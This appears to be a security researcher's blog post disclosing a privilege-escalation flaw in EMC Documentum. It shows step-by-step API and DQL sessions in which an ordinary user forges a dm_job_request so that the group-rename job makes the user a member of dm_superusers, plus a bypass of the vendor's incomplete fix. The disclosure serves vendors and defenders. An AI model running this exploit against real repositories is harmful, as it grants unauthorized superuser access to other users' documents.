God bless EMC

In November 2013 I discovered vulnerability that allows any user to escalate privileges by creating malicious dm_job_request object. To support renaming of user or group EMC introduces two jobs: dm_GroupRename and dm_UserRename, both are triggered when administrator renames user or group in Documentum Administrator or when dm_LDAPSynchronization job completes its execution. Those jobs polls uncompleted dm_job_request objects and performs corresponding changes. Example of exploitation:

-- creating test group
API> create,c,dm_group
...
1201d9208000dd00
API> set,c,l,group_name
SET> testjobrequest
...
OK
API> save,c,l
...
OK
-- creating test user
API> create,c,dm_user
...
1101d9208007890i
API> set,c,l,user_name
SET> testjobrequestusr
...
OK
API> set,c,l,user_login_name
SET> testjobrequestusr
...
OK
API> set,c,l,user_source
SET> inline password
...
OK
API> set,c,l,user_password
SET> test
...
OK
API> save,c,l
...
OK
API> ?,c,alter group testjobrequest add testjobrequestusr

-- creating test user session
API> connect,repo,testjobrequestusr,test
...
s1
-- creating request to rename testjobrequest group to dm_superusers
API> ?,s1,CREATE dm_job_request OBJECT set object_name='GroupRename',
          set job_name='dm_GroupRename',
          set method_name='dm_GroupRename',
          set arguments_keys[0]='OldGroupName',
          set arguments_values[0]='testjobrequest',
          set arguments_keys[1]='NewGroupName',
          set arguments_values[1]='dm_superusers',
          set arguments_keys[2]='report_only',
          set arguments_values[2]='F',
          set arguments_keys[3]='unlock_locked_obj',
          set arguments_values[3]='T'
object_created
----------------
0801d920805759f7
(1 row affected)

-- wait some time while dm_UserRename job completes

-- now testjobrequestusr user is a member of dm_superusers group
API> ?,s1,select group_name from dm_group where any i_all_users_names='testjobrequestusr'
group_name
--------------------------------
dm_superusers
(1 row affected)

Initially this vulnerability was filed with following description:

Methods dm_UserRename and dm_GroupRename when querying for dm_job_request objects do not perform a check for the creator of those objects and their original folder, which makes it possible for any user to create its own dm_job_request and get access to documents that belong to other users, or rename himself to a system user, or rename his group to a system group.

But EMC programmers think they are smarter than person who filled bug report and decided to completely ignore description of vulnerability and suggested fix. Let’s see what they did:

Connected to Documentum Server running Release 6.7.1240.0300  Linux.Oracle
Session id is s0
API> ?,c,CREATE dm_job_request OBJECT set object_name='GroupRename', 
         set job_name='dm_GroupRename', 
         set method_name='dm_GroupRename', 
         set arguments_keys[0]='OldGroupName', 
         set arguments_values[0]='testjobrequest', 
         set arguments_keys[1]='NewGroupName', 
         set arguments_values[1]='dm_superusers', 
         set arguments_keys[2]='report_only', 
         set arguments_values[2]='F', 
         set arguments_keys[3]='unlock_locked_obj', 
         set arguments_values[3]='T'
[DM_QUERY_F_UP_SAVE]fatal:  "UPDATE:  An error has occurred during a save operation."

[DM_USER_E_NEED_SU_OR_SYS_PRIV]error:  "The current user (testjobrequestusr) 
   needs to have superuser or sysadmin privilege."

So, at first glace, now Content Server checks user privileges when user creates dm_job_request object, but, actually, it’s not true – attacker is still able to create dm_job_request object with some fake job_name value and then change it to valid one:

API> ?,c,CREATE dm_job_request OBJECT set object_name='GroupRename', 
         set job_name='dm_GroupRename1', 
         set method_name='dm_GroupRename', 
         set arguments_keys[0]='OldGroupName', 
         set arguments_values[0]='testjobrequest', 
         set arguments_keys[1]='NewGroupName', 
         set arguments_values[1]='dm_superusers', 
         set arguments_keys[2]='report_only', 
         set arguments_values[2]='F', 
         set arguments_keys[3]='unlock_locked_obj', 
         set arguments_values[3]='T'
object_created
----------------
0801d92080575b0a
(1 row affected)

API> ?,c,update dm_job_request objects set job_name='dm_GroupRename' 
         where job_name='dm_GroupRename1'
objects_updated
---------------
              1
(1 row affected)
[DM_QUERY_I_NUM_UPDATE]info:  "1 objects were affected by your UPDATE statement."

One thought on “God bless EMC

  1. Pingback: God bless EMC. Part VII | Documentum in a (nuts)HELL

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s